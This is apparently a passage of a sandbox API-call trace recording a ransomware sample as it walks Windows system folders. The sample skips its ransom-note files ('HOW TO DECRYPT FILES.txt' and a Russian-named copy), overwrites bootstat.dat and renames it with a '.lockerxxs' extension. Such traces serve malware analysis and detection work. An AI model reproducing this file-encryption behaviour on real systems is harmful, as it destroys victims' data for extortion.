(pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.230] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\nl-NL\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.230] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.230] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.230] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.230] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.230] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.230] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.230] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.230] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\nl-NL\\*.*") returned="*.*" [0125.230] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\nl-NL\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\nl-NL\\") returned="C:\\Windows\\Boot\\PCAT\\nl-NL\\" [0125.231] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\nl-NL\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\nl-NL\\") returned="" [0125.231] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.231] CloseHandle (hObject=0xffffffff) returned 0 [0125.231] lstrcmpA (lpString1=".", lpString2="pl-PL") returned -1 [0125.231] lstrcmpA (lpString1="..", lpString2="pl-PL") returned -1 [0125.231] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.231] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pl-PL\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.232] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.232] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.232] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.232] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.232] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.232] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.232] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.232] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\pl-PL\\*.*") returned="*.*" [0125.232] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\pl-PL\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\pl-PL\\") returned="C:\\Windows\\Boot\\PCAT\\pl-PL\\" [0125.232] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\pl-PL\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\pl-PL\\") returned="" [0125.232] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.233] CloseHandle (hObject=0xffffffff) returned 0 [0125.233] lstrcmpA (lpString1=".", lpString2="pt-BR") returned -1 [0125.233] lstrcmpA (lpString1="..", lpString2="pt-BR") returned -1 [0125.233] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.233] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pt-BR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.241] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.241] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.241] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.241] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.241] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.241] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.241] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.241] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\pt-BR\\*.*") returned="*.*" [0125.242] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\pt-BR\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\pt-BR\\") returned="C:\\Windows\\Boot\\PCAT\\pt-BR\\" [0125.242] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\pt-BR\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\pt-BR\\") returned="" [0125.242] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.242] CloseHandle (hObject=0xffffffff) returned 0 [0125.242] lstrcmpA (lpString1=".", lpString2="pt-PT") returned -1 [0125.242] lstrcmpA (lpString1="..", lpString2="pt-PT") returned -1 [0125.242] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.242] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pt-PT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.243] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.243] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.243] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.243] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.243] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.243] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.243] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.243] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\pt-PT\\*.*") returned="*.*" [0125.243] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\pt-PT\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\pt-PT\\") returned="C:\\Windows\\Boot\\PCAT\\pt-PT\\" [0125.243] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\pt-PT\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\pt-PT\\") returned="" [0125.243] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.244] CloseHandle (hObject=0xffffffff) returned 0 [0125.244] lstrcmpA (lpString1=".", lpString2="ru-RU") returned -1 [0125.244] lstrcmpA (lpString1="..", lpString2="ru-RU") returned -1 [0125.244] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.244] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ru-RU\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2eef1e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2eef1e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2eef1e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.244] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.245] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.245] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.245] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.245] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.245] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.245] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.245] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\ru-RU\\*.*") returned="*.*" [0125.245] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\ru-RU\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\ru-RU\\") returned="C:\\Windows\\Boot\\PCAT\\ru-RU\\" [0125.245] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\ru-RU\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\ru-RU\\") returned="" [0125.245] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.245] CloseHandle (hObject=0xffffffff) returned 0 [0125.246] lstrcmpA (lpString1=".", lpString2="sv-SE") returned -1 [0125.246] lstrcmpA (lpString1="..", lpString2="sv-SE") returned -1 [0125.246] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.246] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\sv-SE\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2eef1e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2eef1e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2eef1e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.246] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.246] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.246] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.246] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.246] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.247] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.247] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.247] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\sv-SE\\*.*") returned="*.*" [0125.247] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\sv-SE\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\sv-SE\\") returned="C:\\Windows\\Boot\\PCAT\\sv-SE\\" [0125.247] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\sv-SE\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\sv-SE\\") returned="" [0125.247] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.247] CloseHandle (hObject=0xffffffff) returned 0 [0125.247] lstrcmpA (lpString1=".", lpString2="tr-TR") returned -1 [0125.247] lstrcmpA (lpString1="..", lpString2="tr-TR") returned -1 [0125.247] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.248] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\tr-TR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.263] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.264] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.264] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.264] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.264] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.264] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.264] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.264] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\tr-TR\\*.*") returned="*.*" [0125.264] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\tr-TR\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\tr-TR\\") returned="C:\\Windows\\Boot\\PCAT\\tr-TR\\" [0125.264] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\tr-TR\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\tr-TR\\") returned="" [0125.264] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.264] CloseHandle (hObject=0xffffffff) returned 0 [0125.265] lstrcmpA (lpString1=".", lpString2="zh-CN") returned -1 [0125.265] lstrcmpA (lpString1="..", lpString2="zh-CN") returned -1 [0125.265] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.265] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-CN\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.265] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.265] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.266] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.266] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.266] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.266] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.266] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.266] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\zh-CN\\*.*") returned="*.*" [0125.266] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\zh-CN\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\zh-CN\\") returned="C:\\Windows\\Boot\\PCAT\\zh-CN\\" [0125.266] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\zh-CN\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\zh-CN\\") returned="" [0125.266] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.266] CloseHandle (hObject=0xffffffff) returned 0 [0125.266] lstrcmpA (lpString1=".", lpString2="zh-HK") returned -1 [0125.267] lstrcmpA (lpString1="..", lpString2="zh-HK") returned -1 [0125.267] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.267] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-HK\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.267] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.267] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.267] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.267] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.267] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.267] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.267] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.267] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\zh-HK\\*.*") returned="*.*" [0125.268] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\zh-HK\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\zh-HK\\") returned="C:\\Windows\\Boot\\PCAT\\zh-HK\\" [0125.268] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\zh-HK\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\zh-HK\\") returned="" [0125.268] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.268] CloseHandle (hObject=0xffffffff) returned 0 [0125.268] lstrcmpA (lpString1=".", lpString2="zh-TW") returned -1 [0125.268] lstrcmpA (lpString1="..", lpString2="zh-TW") returned -1 [0125.268] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.268] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-TW\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.269] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.269] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.269] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.269] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.269] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.269] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.269] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.269] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\zh-TW\\*.*") returned="*.*" [0125.269] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\zh-TW\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\zh-TW\\") returned="C:\\Windows\\Boot\\PCAT\\zh-TW\\" [0125.269] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\zh-TW\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\zh-TW\\") returned="" [0125.270] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.270] CloseHandle (hObject=0xffffffff) returned 0 [0125.270] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0125.271] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootstat.dat") returned 1 [0125.271] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootstat.dat") returned 1 [0125.271] lstrcmpiA (lpString1="", lpString2="bootstat.dat") returned -1 [0125.271] PathFindFileNameA (pszPath="C:\\Windows\\*.*") returned="*.*" [0125.271] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0125.271] PathAddBackslashA (in: pszPath="C:\\Windows\\" | out: pszPath="C:\\Windows\\") returned="" [0125.283] PathFindFileNameA (pszPath="C:\\Windows\\bootstat.dat") returned="bootstat.dat" [0125.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0125.283] WriteFile (in: hFile=0x74, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x107da, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x107da, lpOverlapped=0x0) returned 1 [0125.285] SetFileTime (hFile=0x74, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0125.285] CloseHandle (hObject=0x74) returned 1 [0125.286] MoveFileA (lpExistingFileName="C:\\Windows\\bootstat.dat" (normalized: "c:\\windows\\bootstat.dat"), lpNewFileName="C:\\Windows\\bootstat.dat.lockerxxs" (normalized: "c:\\windows\\bootstat.dat.lockerxxs")) returned 1 [0125.288] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf30001f2, dwReserved1=0x4e00c4, cFileName="Branding", cAlternateFileName="")) returned 1 [0125.288] lstrcmpA (lpString1=".", lpString2="Branding") returned -1 [0125.288] lstrcmpA (lpString1="..", lpString2="Branding") returned -1 [0125.288] PathFindFileNameA (pszPath="C:\\Windows\\bootstat.dat") returned="bootstat.dat" [0125.288] FindFirstFileA (in: lpFileName="C:\\Windows\\Branding\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f006f, dwReserved1=0x730074, cFileName=".", cAlternateFileName="")) returned 0x502518 [0125.288] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.289] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x730000, cFileName="..", cAlternateFileName="")) returned 1 [0125.289] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.289] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.289] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d0ecf05, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Basebrd", cAlternateFileName="")) returned 1 [0125.289] lstrcmpA (lpString1=".", lpString2="Basebrd") returned -1 [0125.289] lstrcmpA (lpString1="..", lpString2="Basebrd") returned -1 [0125.289] PathFindFileNameA (pszPath="C:\\Windows\\Branding\\*.*") returned="*.*" [0125.289] FindFirstFileA (in: lpFileName="C:\\Windows\\Branding\\Basebrd\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, 